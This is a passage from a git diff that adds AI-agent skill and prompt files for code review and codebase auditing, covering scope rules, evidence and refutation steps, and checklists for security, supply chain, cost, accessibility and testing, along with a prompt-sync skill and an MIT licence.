flag that disables behaviour under test. + +**Tells of generated code**, which are review targets rather than accusations: an abstraction with one caller, a generic parameter with one instantiation, a helper duplicating one already in the repository under a different name, an API call that is plausible but absent from the library's surface, error handling that catches and logs without changing the outcome, and a comment that narrates the change ("now uses X", "updated to handle Y") instead of describing the code. + +### 6. Architecture and design + +Tight coupling, single-responsibility violations, inconsistent patterns, over-engineering, separation of concerns, circular dependencies, dependency direction, module boundary violations, interface segregation, change amplification, and leaky abstractions. + +Read the change through two further lenses. **Scalability:** what this code does at ten and a hundred times the current data, users, or call rate, and whether it adds work that grows with input where constant work would do. **Maintainability:** what a reader six months from now needs that this diff does not tell them. + +### 7. Testing + +Tests for new and changed behaviour covering happy paths and edge cases, meaningful assertions, descriptive names, no over-mocking ("if you mock everything, you test nothing"), no brittle tests. + +**Missing edge cases:** the negative case for every positive assertion, plus empty, null and undefined, zero and one and the boundary either side of a limit, unicode with combining characters and right-to-left text, duplicate and out-of-order input, concurrent callers, and every error path the code can take. + +**Flakiness in the code as well as the test:** wall-clock reads and date arithmetic, unseeded randomness, iteration order of a map, set, or directory listing relied on as stable, a promise not awaited, a real network call or sleep in a test, state shared between cases through a module-level variable, an assertion that races an animation or transition. + +The question that subsumes the rest: **would this test fail if the behaviour it names were broken?** + +### 8. Performance and efficiency + +Algorithmic complexity, N+1 queries, missing caching, oversized payloads, synchronous blocking in an asynchronous context, and memory leaks from uncleaned listeners, subscriptions, or handles. Also: allocation in hot paths, recomputation and re-render, blocking the event loop, unbounded growth, missing pagination, and cold-start cost. + +### 9. Documentation and comments + +Public surfaces documented, existing comments still accurate after the change, why-comments for non-obvious logic, the pull request description updated, and external documentation still accurate. Flag specific drift as a finding. Correcting the documentation itself is separate work and is not part of this review. A deprecation names its replacement. A tunable value is documented by the name a consumer changes it by. + +### 10. Standards and style + +Apply the project's own configuration first: its formatter, linter, and documented conventions decide every question they cover, and a tool's exit code is better evidence than your reading. **Never report a violation of a rule the project has turned off.** + +Where the project leaves a question open and Google publishes a style guide for the language, use it as the default standard. Google publishes guides for C++, C#, Common Lisp, Go, HTML and CSS, Java, JavaScript, JSON, Markdown, Objective-C, Python, R, Shell, Swift, TypeScript, and Vim script, indexed at `https://google.github.io/styleguide/`. Where Google publishes none, use the language's own prevailing standard. + +**Flag the absence of the discipline, not the variant of the convention.** A codebase that consistently applies a different variant of a Google rule has a preference, and a preference is not a defect. What is a defect is having no convention at all, or one file that contradicts every other. + +Worked example. The Go style decisions document groups imports as standard library, then other project and vendored packages, then protocol buffer imports, then side-effect imports. A codebase that consistently groups them in a different order is expressing a preference: do not flag it. A file with its imports in one undifferentiated block, or grouped in an order no other file in the repository uses, is a finding, because the discipline is missing rather than varied. + +Before flagging any style deviation, read two or three other files of the same language. If the pattern holds across them it is a convention: report it once as an observation at most, never once per occurrence. If it holds nowhere else it is drift, and drift is the finding. A systematic deviation across a whole codebase is a discussion to open, never a per-file finding. + +### 11. Accessibility + +Target **WCAG 2.2 Level AA**, the current W3C Recommendation. Semantic markup, alternative text and accessible names, keyboard navigation, ARIA correctness, colour contrast (4.5:1 normal, 3:1 large), form labels and error feedback, and reduced-motion support. + +The criteria WCAG 2.2 adds over 2.1 are the ones most often missed: focus not obscured, focus appearance, target size, dragging movements having a single-pointer alternative, consistent help, redundant entry, and accessible authentication. + +### 12. Concurrency and shared state + +Unsynchronized shared state, race conditions, unhandled asynchronous errors, deadlock potential, and idempotency. Also: idempotency keys, at-least-once delivery assumptions, lock ordering, asynchronous cleanup and cancellation, and framework-specific races such as a stale closure or an effect that runs twice. + +### 13. Environment parity + +Behaviour that differs between a developer machine, a hermetic or ephemeral container, dev, staging, and production. Check: environment variable reads with no default and no startup validation; hardcoded hosts, ports, URLs, and absolute paths; seed, fixture, or sample data assumed to be present; a feature flag whose default differs per environment; timezone, locale, and currency assumptions, including a test that passes only in one UTC offset; wall clock and randomness that CI cannot reproduce; filesystem case sensitivity and path separators; container against host networking, where `localhost` inside a container is not the host. + +### 14. Observability + +Can a reader debug this in production without reproducing it locally? Check: a log at the level that matches the event, structured rather than an interpolated sentence; a correlation or trace identifier that survives the asynchronous boundary; errors reaching the project's error tracker rather than being swallowed, or logged and then dropped; a metric or alert for each new failure mode the change introduces; and no personal or health data, token, key, session identifier, or full request body in any of it. + +### 15. Dependencies and supply chain + +Check every added or upgraded dependency and every lockfile entry against what the diff actually imports. Flag: a package name that does not exist, or differs by a character from the intended one, since a generated install command is the usual source; an unpinned or range-widened version on a security-relevant dependency; a source other than the project's usual registry, including a git URL or tarball; a maintainer or ownership change; a version that jumped without a changelog; a resolved URL pointing off-registry; a missing or altered integrity hash on an otherwise unchanged version. + +**Install-time code execution is checked by capability, not by field name.** Lifecycle scripts (`preinstall`, `install`, `postinstall`, `prepare`) are the obvious vector, but a native-build hook such as a `binding.gyp` that triggers an implicit rebuild executes code too and evades checks that read only the lifecycle-script fields. **A valid provenance attestation does not establish that a release is safe:** a compromised maintainer account can produce one. + +Extend the same reasoning to the build and CI surface: a workflow that checks out an untrusted pull request head while holding write permissions or secrets, a third-party action referenced by a mutable tag rather than an immutable commit identifier, secrets reachable from fork pull requests, a self-hosted runner exposed to forks, and editor or container configuration that executes on open, such as an autorun task or a container post-create command. Agent configuration counts: a checked-in skill, rule, or settings file can grant broad tool access to anyone who trusts the repository. + +### 16. Licensing and provenance + +Check: code that reads as pasted from elsewhere, where the comment style, naming, or level of generality does not match the file around it, with no attribution; a vendored file or snippet whose origin and licence are not recorded; a new dependency whose licence conflicts with the project's own, including copyleft entering a permissive project; a copied image, font, icon set, or dataset without a licence permitting the use. Report what you can show and name the uncertainty. Do not accuse. + +### 17. Cost and billing exposure + +Judge against the project's deployment shape (static host, serverless, containers, managed database, CI provider), since a dimension the project does not bill is noise. + +**Blocking first, because these create unbounded spend rather than inefficiency:** a trigger whose handler writes back to what triggered it, such as a storage function writing into the bucket it watches, a database trigger updating the document that fired it, or a queue consumer republishing to its own topic; a retry policy with no attempt cap, backoff, or dead-letter destination, which multiplies invocations exactly when the system is already failing; fan-out with no ceiling; a workflow that commits or tags and thereby retriggers itself with no actor guard or path filter; polling, or an effect with an unstable dependency, firing a metered call per render; a shared cache expiry driving a synchronized burst at a metered origin. **A budget alert notifies; it does not stop spend.** + +**Then efficiency, naming the billing dimension the change moves.** **Egress**, the dimension most often missed and frequently the largest, covering unresized images, missing compression, absent or short cache headers, a bundle shipped to every visitor, and cross-region transfer, with providers differing sharply and some not charging it at all. **Invocations and duration**, covering over-provisioned memory, a function billed while awaiting slow I/O, a bundle inflating cold-start time, and a synchronous chain billing every hop at once. **Per-operation database billing**, covering a read per row where one query would serve, a listener re-reading a collection, a query without a limit, and a scan without a partition or index filter, where the bill follows bytes scanned rather than rows returned. **Storage**, covering absent lifecycle or retention policy, a storage class mismatched to the access pattern, and orphaned artifacts, logs, and backups. **Build minutes**, where runner operating system carries a multiplier (commonly 1x for Linux, 2x for Windows, and roughly 10x for macOS, to be verified against the provider's current published figures) that usually makes runner choice the largest lever, alongside absent dependency caching, no concurrency group cancelling superseded runs, an over-wide matrix, the full suite running on documentation-only changes, and default artifact retention. **Logs and telemetry**, metered by volume and retention, where a debug line in a hot path is a recurring bill, reported once rather than twice with category 14. **Model calls**, covering tokens per call, retries, no caching of identical requests, and context larger than the task needs. + +An optimization that introduces a cache, a queue, or another service can cost more than it saves once its own bill is counted. + +### 18. Regulatory and compliance + +Determine which regulations apply from the data the system holds, the people it holds it about, and where it operates. State which are in scope and why, and state which you ruled out and why. Common examples are GDPR, HIPAA, PIPEDA, CCPA and CPRA, and provincial or state equivalents. **The list is not the check; the determination is.** For each in scope: data subject rights, breach notification, processing agreements, and privacy impact assessments. + +## 6. Step 4: Refutation pass + +Before writing the summary, take each finding and try to disprove it. This step decides whether the review is accurate. + +For each finding, answer: + +1. Is the quoted line still in the diff, spelled exactly as quoted? +2. Does the surrounding code already handle it? Re-open the file and read past the changed line, including the guard clauses and the caller. +3. Does a test, a type, a framework guarantee, or a configuration value already prevent it? +4. Did this change cause it, or was it already true? If already true, drop it or relabel it pre-existing. +5. Would your suggested fix actually work? Where its correctness depends on tool behaviour rather than on reading code (ignore-file and glob semantics, config precedence, shell quoting, CI trigger filters), verify it or label it unverified. **A fix that looks right and silently does nothing is worse than no fix**, because it closes the finding without changing anything. + +**Delete every finding that does not survive all five.** Deleting some is the expected outcome; a review that refutes nothing did not run this step. Do not convert a refuted finding into a hedge, a question, or a suggestion. Report the number of findings dropped here in section 7. + +## 7. Step 5: Summary + +```markdown +## Overall verdict: [APPROVED / APPROVED WITH SUGGESTIONS / CHANGES REQUESTED] + +### Quick stats + +- **Files reviewed:** X +- **Findings:** X blocking · X should fix · X suggestions · X positive +- **Findings dropped in refutation:** X +- **Categories skipped:** [name each, with its reason] + +### Alignment + +[One to three sentences on whether the code does what the pull request or ticket says] + +### Top concerns + +[Critical issues that must be resolved before merge] + +### What is done well + +[Genuinely good patterns or improvements in this change] + +### Before merging + +- [ ] [Action item] +``` + +## 8. Tone + +Direct and specific. No vague "this could be improved". Critique the code, not the author. Acknowledge trade-offs, and flag risk even where the pattern is valid. Use "consider" for suggestions, "should" for non-blocking, and "must" for blocking. Where a category has no issues, say so in one line. diff --git a/.claude/skills/audit-quality/SKILL.md b/.claude/skills/audit-quality/SKILL.md new file mode 100644 index 00000000..005a9cf8 --- /dev/null +++ b/.claude/skills/audit-quality/SKILL.md @@ -0,0 +1,214 @@ +--- +name: audit-quality +description: Audit code for architecture, security, privacy, testing, dependency, supply chain, and cost issues, reporting findings with file and symbol evidence. Scope defaults to the active pull request or working changes and widens to the whole repository only when asked. Use for a maintenance or technical-debt pass over code as it stands, rather than for reviewing what a change does. Body mirrors `.github/prompts/audit-quality.prompt.md` byte for byte. +argument-hint: '[paths, categories, or "all"; defaults to the active pull request or working changes]' +--- + +# Audit codebase quality + +Act as a principal code reviewer, security auditor, and refactoring architect. Report findings grounded in files you opened this run. + +## Scope + +**Resolve scope in this order and stop at the first rule that applies. Never widen it.** + +1. **An explicit instruction.** The paths, area, component, or categories named when this was invoked, including an instruction to audit everything. +2. **The active pull request** for the current branch, if one exists, plus the modules its changes reach into. +3. **Uncommitted changes**, if any, plus the modules they reach into. +4. **The system or component the surrounding task concerns**, where the task named one. +5. **The whole repository**, only when none of the above applies. + +State which rule resolved the scope in your output, and audit only what it selected. On a large repository or a monorepo, rules 2 to 4 are the normal answer and rule 5 is close to never correct without an explicit instruction: auditing everything by default burns the run on code nobody asked about and produces a report too large to act on. + +A few checks are worth running repository-wide even under a narrow scope, because they are cheap and the answer is not local: the dependency and lockfile review, workflow and CI configuration, and licence declarations. Say when you widened for one of those and why. + +## Context resolution + +GitHub Copilot resolves the references below automatically. Any other agent resolves each one with the listed equivalent before starting. If a source is unavailable, say so in the output and continue with what is available. + +| Reference | GitHub Copilot | Claude Code and other agents | +| ------------ | --------------------------- | ---------------------------------- | +| `#codebase` | Workspace index | `Glob`, `Grep`, and `Read` | +| `#changes` | Uncommitted working changes | `git diff` and `git diff --staged` | +| `#file:path` | The named file | `Read` on that path | + +## 1. Scope and evidence rules + +1. **Open the file this run.** Every finding rests on a file you opened and read. A search-result snippet, a repository map, a directory listing, a summary, or your recollection of a similar project are not sources. +2. **The evidence unit is file, symbol, and a verbatim quote.** Name the file path, the exact symbol, and a short string copied character for character from the source. A line number is not evidence: it cannot be checked without opening the file and it drifts on the next edit. +3. **A finding you cannot quote is dropped**, not softened and not reworded as a question. +4. **Refute before you publish.** Section 5 is not optional. +5. **Respect intentional `any`** and its equivalents in other languages. Do not flag one unless you can name the concrete type that replaces it without breaking the build, and never launder one into a wider escape hatch to quiet a linter. Where a language offers a narrower spelling of the same idea, such as Go's `any` over `interface{}`, prefer it when the swap is safe. +6. **Every finding carries a severity:** 🔴 blocking, 🟡 should fix, 🔵 suggestion, ✅ positive. +7. **State uncertainty explicitly** rather than hedging a finding into vagueness. + +## 2. Hard rules + +**Rule 1: do not duplicate existing infrastructure.** Before recommending any capability (error tracking, logging, monitoring, analytics, validation, caching, authentication), verify whether it already exists. Read configuration files, initialization code, and existing integrations first. Recommending something the codebase already provides creates double-tracking, conflicting behaviour, or dead code, and it is the most common way an audit makes a codebase worse. + +**Rule 2: judge against this project, not a generic one.** Scale, platform, regulatory exposure, and traffic all come from discovery in section 3. A recommendation that is right for a multi-tenant service is wrong for a static site, and prescribing infrastructure a project has no use for is a defect in the audit rather than advice. + +## 3. Execution order + +1. **Discovery, mandatory before any finding.** Read configuration files, entry points, and the modules inside the resolved scope to map what already exists: error tracking, analytics, logging, CI and CD, authentication, state management, styling, testing setup, deployment shape, and any other integrated service or convention. Establish the project's real traffic, data volume, and deployment target, because sections 4 and 5 judge against them. Discovery reads project-level configuration even under a narrow scope, since that is what tells you whether a capability already exists. +2. **Triage.** Read the category list and enter only the categories the codebase activates. Name every category you skipped, and why, in section 6. "Not applicable to this project" is a complete reason when you say what made it inapplicable. +3. **Audit in bounded batches.** Work through a category or an area at a time and finish it before opening the next. Report what you did not reach rather than skimming it. +4. **Refutation pass** (section 5). +5. **Report** (section 6). + +## 4. Audit categories + +Two lenses are read alongside every category rather than as categories of their own. + +**Maintainability, coupling, and reuse.** For every module: does it depend on another module's internals rather than its interface, and would a change there force a change here? Does high-level policy depend on low-level detail rather than the reverse? Is business logic entangled with I/O, framework, or presentation so it cannot be exercised or reused on its own? Does one reason to change sit beside another in the same unit? How many files must change together the next time a given behaviour changes? Is a value hardcoded that a consumer would want to configure, and is it named where a consumer can find it rather than buried in a function body? Is a dependency constructed inside the unit that uses it rather than passed in? Is a parameter list growing, or an interface carrying members most callers ignore? Are there circular imports or shared mutable module state? **The counterweight, because it is this lens's own failure mode:** an abstraction with a single caller, a generic parameter with a single instantiation, and configuration nobody sets are premature, and premature generalization costs more than the duplication it removes. + +**Security and privacy in three directions.** Ask who each finding protects. _The end user:_ their data, session, device, and browser. _The host, system, and company:_ server-side request forgery, command injection, path traversal, unsafe deserialization, resource exhaustion, privilege escalation, over-scoped tokens, log injection, and internal hostnames, employee names, or infrastructure detail leaking into public source, comments, or source maps. _The developer and the build:_ whether cloning, installing, building, or opening this repository can compromise the machine that does it. + +### 1. Architecture and design + +Modularity (flag monolithic files), SOLID principles, coupling against cohesion, anti-patterns and code smells, over-engineering and premature abstraction, separation of concerns, layer boundaries, dependency direction, and circular dependencies. Read through the maintainability lens above. + +**Scalability lens.** Judge scale against the project's own traffic, data volume, and deployment shape, established in discovery. A static site, a command-line tool, and a multi-tenant service have different answers, and prescribing a distributed cache, a message queue, or a connection pool to a project with no server is wrong advice. Flag work that grows with input where constant work would do, name any component that cannot run as more than one instance where that matters, and name the first limit the current shape will hit. + +### 2. Correctness and code health + +Logic correctness, clarity, cyclomatic complexity, duplication, dead code (unused variables, functions, imports), long methods, primitive obsession, feature envy, meaningful names, small functions, and minimal side effects. Also: boundary conditions, numeric precision, type coercion, timezone and daylight-saving arithmetic, ordering assumptions, and idempotency of anything retried. + +**Test logic that reached production code:** a test-environment branch, an export that exists only so a test can reach it, a mock or sample value on a production path, a flag that disables behaviour under test. + +**Tells of generated code**, which are review targets rather than accusations: an abstraction with one caller, a generic parameter with one instantiation, a helper duplicating one already in the repository under a different name, an API call that is plausible but absent from the library's surface, error handling that catches and logs without changing the outcome, and a comment that narrates a change ("now uses X", "updated to handle Y") instead of describing the code. + +**Standards and style.** Apply the project's own configuration first: its formatter, linter, and documented conventions decide every question they cover, and a tool's exit code is better evidence than your reading. **Never report a violation of a rule the project has turned off.** + +Where the project leaves a question open and Google publishes a style guide for the language, use it as the default standard. Google publishes guides for C++, C#, Common Lisp, Go, HTML and CSS, Java, JavaScript, JSON, Markdown, Objective-C, Python, R, Shell, Swift, TypeScript, and Vim script, indexed at `https://google.github.io/styleguide/`. Where Google publishes none, use the language's own prevailing standard. + +**Flag the absence of the discipline, not the variant of the convention.** A codebase that consistently applies a different variant of a Google rule has a preference, and a preference is not a defect. What is a defect is having no convention at all, or one file that contradicts every other. + +Worked example. The Go style decisions document groups imports as standard library, then other project and vendored packages, then protocol buffer imports, then side-effect imports. A codebase that consistently groups them in a different order is expressing a preference: do not flag it. A file with its imports in one undifferentiated block, or grouped in an order no other file in the repository uses, is a finding, because the discipline is missing rather than varied. + +Before flagging any style deviation, read two or three other files of the same language. If the pattern holds across them it is a convention: report it once as an observation at most, never once per occurrence. If it holds nowhere else it is drift, and drift is the finding. A systematic deviation across a whole codebase is a discussion to open, never a per-file finding. + +### 3. Concurrency, state, and resource lifetime + +Shared state synchronization, deadlock prevention, thread safety, asynchronous error handling, resource locking, idempotency, and reproducibility. Also: memory leaks (event listeners, closures, circular references), stack overflow risk, resource cleanup (file handles, database connections, subscriptions), garbage-collection pressure in hot paths, idempotency keys, at-least-once delivery assumptions, lock ordering, and cancellation propagation. + +### 4. Error handling, observability, and resilience + +- **Error handling:** every path handled, error boundaries and fallbacks, actionable messages that do not leak sensitive data, structured error types a caller can branch on, and no error swallowing that silently changes control flow. +- **Logging:** consistent structured logging at appropriate levels. **Sanitize only logs at risk of containing personal or health data** (user inputs, request bodies, database records, error objects carrying user data). Preserve debugging utility in safe logs (application state, configuration, flow control, metrics). **Never log:** authentication tokens, passwords, API keys, session identifiers, encryption keys. Include correlation identifiers. Avoid excessive noise, which is also a cost (category 11). +- **Monitoring:** error rates, response times, resource utilization, alerting for critical failures, and anonymized metrics. Verify a metric or alert exists for each failure mode the code can reach, and that errors actually arrive at the project's tracker rather than being logged and dropped. +- **Tracing:** correlation identifiers that survive asynchronous boundaries, sanitized trace data, and sampling for high-volume traces. +- **Resilience:** graceful degradation, retry with exponential backoff and jitter, circuit breakers, timeouts, and fallback strategies. + +### 5. Security + +Input validation and sanitization, injection prevention (SQL, cross-site scripting, command, LDAP, path traversal), authentication, authorization and session management, API security and rate limiting, dependency vulnerabilities, secrets management, transport security, cross-site request forgery and cross-origin policy, and server-side request forgery. Use the OWASP Top 10 as the baseline lens and the three directions above to decide who each finding protects. + +Where the codebase includes model or agent code, add the OWASP Top 10 for LLM Applications: prompt injection, improper output handling, excessive agency, and sensitive information disclosure. Call out by name any model output used unvalidated as a path, query, command, or URL. + +### 6. Privacy, data protection, and regulatory compliance + +Personal and health data flow, data minimization at the point of collection rather than only at logging, encryption at rest and in transit, role-based access control for sensitive data, leakage prevention (logs, analytics, errors, stack traces, source maps, third-party services), consent mechanisms, retention policies, third-party SDK data egress, and cross-border transfer. + +Determine which regulations apply from the data the system holds, the people it holds it about, and where it operates. State which are in scope and why, and state which you ruled out and why. Common examples are GDPR, HIPAA, PIPEDA, CCPA and CPRA, and provincial or state equivalents. **The list is not the check; the determination is.** For each in scope: data subject rights, breach notification, processing agreements, and privacy impact assessments. + +### 7. Configuration and environment parity + +Behaviour that differs between a developer machine, a hermetic or ephemeral container, dev, staging, and production. Check: environment variable reads with no default and no startup validation; hardcoded hosts, ports, URLs, and absolute paths; seed, fixture, or sample data assumed to be present; a feature flag whose default differs per environment; timezone, locale, and currency assumptions, including a test that passes only in one UTC offset; wall clock and randomness that CI cannot reproduce; filesystem case sensitivity and path separators; container against host networking, where `localhost` inside a container is not the host. Also check that every configuration value the code reads is documented by the name a consumer changes it by. + +### 8. Dependencies, supply chain, and licensing + +Check every dependency and lockfile entry against what the codebase actually imports, and flag anything unused. Flag: a package name that does not exist, or differs by a character from the intended one, since a generated install command is the usual source; an unpinned or range-widened version on a security-relevant dependency; a source other than the project's usual registry, including a git URL or tarball; a maintainer or ownership change; a resolved URL pointing off-registry; a missing or altered integrity hash on an otherwise unchanged version. + +**Install-time code execution is checked by capability, not by field name.** Lifecycle scripts (`preinstall`, `install`, `postinstall`, `prepare`) are the obvious vector, but a native-build hook such as a `binding.gyp` that triggers an implicit rebuild executes code too and evades checks that read only the lifecycle-script fields. **A valid provenance attestation does not establish that a release is safe:** a compromised maintainer account can produce one. + +Extend the same reasoning to the build and CI surface, where a whole-codebase audit sees what a diff cannot: every workflow file, including any that checks out an untrusted pull request head while holding write permissions or secrets, any third-party action referenced by a mutable tag rather than an immutable commit identifier, secrets reachable from fork pull requests, and self-hosted runners exposed to forks. Editor and container configuration that executes on open counts, such as an autorun task or a container post-create command, and so does checked-in agent configuration: a skill, rule, or settings file can grant broad tool access to anyone who trusts the repository. + +**Licensing and provenance:** code that reads as pasted from elsewhere, where the comment style, naming, or level of generality does not match the file around it, with no attribution; a vendored file or snippet whose origin and licence are not recorded; a dependency whose licence conflicts with the project's own, including copyleft entering a permissive project; a copied image, font, icon set, or dataset without a licence permitting the use; and a licence declaration that disagrees between the licence file, the package manifest, and the documentation. Report what you can show and name the uncertainty. Do not accuse. + +### 9. Testing + +Unit tests (isolated), integration tests (module interactions), and end-to-end tests (user workflows). Meaningful coverage of critical paths rather than a percentage. Test quality: no bloat, no meaningless assertions, descriptive names, data-driven cases where applicable, and no over-mocking ("if you mock everything, you test nothing"). + +**Missing edge cases:** the negative case for every positive assertion, plus empty, null and undefined, zero and one and the boundary either side of a limit, unicode with combining characters and right-to-left text, duplicate and out-of-order input, concurrent callers, and every error path the code can take. + +**Flakiness in the code as well as the test:** wall-clock reads and date arithmetic, unseeded randomness, iteration order of a map, set, or directory listing relied on as stable, a promise not awaited, a real network call or sleep in a test, state shared between cases through a module-level variable, an assertion that races an animation or transition. + +The question that subsumes the rest: **would this test fail if the behaviour it names were broken?** + +### 10. Documentation + +Flag documentation that contradicts the code, a public surface with no documentation, a deprecation that does not name its replacement, and setup or usage instructions that no longer work. **Report the drift as a finding; do not perform a full documentation rewrite inside this audit.** Rewriting documentation is separate work with its own verification needs. + +### 11. Performance, build output, and operating cost + +**Performance:** response times, frame budget for animations where applicable, blocking the main thread, algorithmic complexity, lazy loading, caching strategy, and query optimization (indexes, N+1). + +**Build output**, where the project produces a build artifact: bundle composition and large or duplicate dependencies, code splitting, tree shaking, dependency size, asset optimization (modern image formats, minification, cache headers), and production build configuration with no development code shipped. + +**Cost and billing exposure.** Judge against the project's deployment shape (static host, serverless, containers, managed database, CI provider), since a dimension the project does not bill is noise. + +**Blocking first, because these create unbounded spend rather than inefficiency:** a trigger whose handler writes back to what triggered it, such as a storage function writing into the bucket it watches, a database trigger updating the document that fired it, or a queue consumer republishing to its own topic; a retry policy with no attempt cap, backoff, or dead-letter destination, which multiplies invocations exactly when the system is already failing; fan-out with no ceiling; a workflow that commits or tags and thereby retriggers itself with no actor guard or path filter; polling, or an effect with an unstable dependency, firing a metered call per render; a shared cache expiry driving a synchronized burst at a metered origin. **A budget alert notifies; it does not stop spend.** + +**Then efficiency, naming the billing dimension.** **Egress**, the dimension most often missed and frequently the largest, covering unresized images, missing compression, absent or short cache headers, a bundle shipped to every visitor, and cross-region transfer, with providers differing sharply and some not charging it at all. **Invocations and duration**, covering over-provisioned memory, a function billed while awaiting slow I/O, a bundle inflating cold-start time, and a synchronous chain billing every hop at once. **Per-operation database billing**, covering a read per row where one query would serve, a listener re-reading a collection, a query without a limit, and a scan without a partition or index filter, where the bill follows bytes scanned rather than rows returned. **Storage**, covering absent lifecycle or retention policy across every bucket and log sink, a storage class mismatched to the access pattern, and orphaned artifacts, logs, and backups. **Build minutes**, where runner operating system carries a multiplier (commonly 1x for Linux, 2x for Windows, and roughly 10x for macOS, to be verified against the provider's current published figures) that usually makes runner choice the largest lever, alongside absent dependency caching, no concurrency group cancelling superseded runs, an over-wide matrix, the full suite running on documentation-only changes, and default artifact retention. **Logs and telemetry**, metered by volume and retention, where a debug line in a hot path is a recurring bill, reported once rather than twice with category 4. **Model calls**, covering tokens per call, retries, no caching of identical requests, and context larger than the task needs. + +A whole-codebase view also sees provisioned services with no caller, which bill for nothing. An optimization that introduces a cache, a queue, or another service can cost more than it saves once its own bill is counted. + +### 12. Accessibility + +Target **WCAG 2.2 Level AA**, the current W3C Recommendation. Colour contrast (4.5:1 normal, 3:1 large), semantic markup and accessible names, keyboard navigation and focus indicators, alternative text, screen magnification and high contrast support, reduced-motion support, and form labels and error feedback. + +The criteria WCAG 2.2 adds over 2.1 are the ones most often missed: focus not obscured, focus appearance, target size, dragging movements having a single-pointer alternative, consistent help, redundant entry, and accessible authentication. + +### 13. User-facing behaviour + +Loading, empty, and error states for every asynchronous path. Recovery from an error without losing work. Feedback for every user action. Progressive enhancement, so core functionality works and enhanced features degrade gracefully. Restrict findings here to what is visible in the code; retention and engagement metrics are not auditable from source. + +## 5. Refutation pass + +Before writing the report, take each finding and try to disprove it. + +1. Is the quoted string still in the file, spelled exactly as quoted? +2. Does the surrounding code already handle it? Re-open the file and read past the cited symbol, including guard clauses and callers. +3. Does a test, a type, a framework guarantee, or a configuration value already prevent it? +4. Does the capability already exist elsewhere in the codebase (Rule 1)? +5. Is the recommendation right for **this** project's scale, platform, and regulatory exposure (Rule 2)? +6. Would your recommendation actually work? Where its correctness depends on tool behaviour rather than on reading code (ignore-file and glob semantics, config precedence, shell quoting, CI trigger filters), verify it or label it unverified. **A fix that looks right and silently does nothing is worse than no fix**, because it closes the finding without changing anything. + +**Delete every finding that does not survive all six.** Deleting some is the expected outcome; an audit that refutes nothing did not run this step. Do not convert a refuted finding into a hedge. Report the number dropped in section 6. + +## 6. Output + +### Summary + +- **Files read:** X +- **Findings:** X blocking · X should fix · X suggestions · X positive +- **Findings dropped in refutation:** X +- **Categories skipped:** [name each, with its reason] +- **Not yet audited:** [areas in scope you did not reach, with the reason] + +### Findings + +For each, in severity order: + +- **Issue:** what is wrong. +- **Evidence:** file, symbol, and the verbatim quote. +- **Category:** which of the 13 above. +- **Risk:** what happens if it is left. +- **Recommendation:** the concrete change. + +### For a human to decide + +Issues requiring a judgement call, architectural changes worth considering later, and dependencies that should be updated or replaced. + +## 7. When this run applies changes + +**This prompt does not decide whether findings become edits.** The mode you invoked it in decides: an agent mode with edits enabled applies them, a plan or ask mode does not, and a permission prompt may sit between. Follow the mode you are in. + +When changes are applied: + +- Apply them in batches of one to three related changes. Never a sweeping refactor across the whole audit at once. +- After each batch, run the project's full validation. **Discover the command rather than assuming one:** look for a task runner or manifest (a `package.json` script, a `Makefile` target, `pyproject.toml`, `composer.json`, a `justfile`) and prefer a single `validate`, `check`, or `ci` entry point. Where there is none, run format, then lint, then type check, then unit tests, then integration and end-to-end tests, in that order. +- **Every gate passes before the next batch.** If one fails, fix the cause before continuing. Do not carry a failure into the next area. Confirm the actual exit code rather than reading the output, and remember that a chained command stops at the first failure, so later steps never ran. +- Add or update tests for behaviour you changed, then run the suite again. +- Report what changed and why alongside the findings, in the same format. diff --git a/.claude/skills/sync-audit-prompts/SKILL.md b/.claude/skills/sync-audit-prompts/SKILL.md new file mode 100644 index 00000000..e55867d9 --- /dev/null +++ b/.claude/skills/sync-audit-prompts/SKILL.md @@ -0,0 +1,27 @@ +--- +name: sync-audit-prompts +description: Reconciles the mirrored prompt and skill pairs so their bodies match byte for byte. Use after editing any file under .github/prompts/ or .claude/skills/audit-*/, or when npm run validate reports the pairs out of sync. +argument-hint: '[to-skill | to-prompt; omit to check only]' +disable-model-invocation: true +allowed-tools: Bash(node .claude/scripts/check-prompt-skill-sync.mjs*) Read Grep Glob +--- + +# Sync audit prompts + +Each audit prompt ships twice with a byte-identical body below the frontmatter: `.github/prompts/.prompt.md` for GitHub Copilot, and `.claude/skills//SKILL.md` for Claude Code and other agents. The obligation and its rationale are in [`prompt-skill-sync.md`](../../rules/prompt-skill-sync.md). + +Manual only, because propagating in the wrong direction overwrites the edit you just made. + +## Check first + +```bash +node .claude/scripts/check-prompt-skill-sync.mjs +``` + +Exit 0 means every pair matches; report that and stop. + +## Then delegate + +On any divergence, hand the reconciliation to the `prompt-skill-sync` subagent, which holds the full procedure: establishing which half carries the intended edit, propagating mechanically, merging by hand when both halves changed, and auditing the shared body for what the byte check cannot catch. It reads both halves in its own context and returns a verdict rather than several hundred lines. + +The procedure lives in that one file on purpose. Restating it here would be a second hand-maintained copy of instructions about keeping hand-maintained copies in sync, with nothing checking this one. diff --git a/.claude/skills/typescript-code-and-test-standards/LICENSE.txt b/.claude/skills/typescript-code-and-test-standards/LICENSE.txt new file mode 100644 index 00000000..7a0e6342 --- /dev/null +++ b/.claude/skills/typescript-code-and-test-standards/LICENSE.txt @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2021-2026 Alexander Joo-Hyun Sullivan + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/.claude/skills/typescript-code-and-test-standards/SKILL.md b/.claude/skills/typescript-code-and-test-standards/SKILL.md new file mode 100644 index 00000000..5ab0b520 --- /dev/null +++ b/.claude/skills/typescript-code-and-test-standards/SKILL.md @@ -0,0 +1,197 @@ +--- +name: typescript-code-and-test-standards +description: Enforces the TypeScript and JavaScript authoring standards that formatters and linters cannot catch: comment discipline, JSDoc on every exported symbol, readability rules, the mandate that 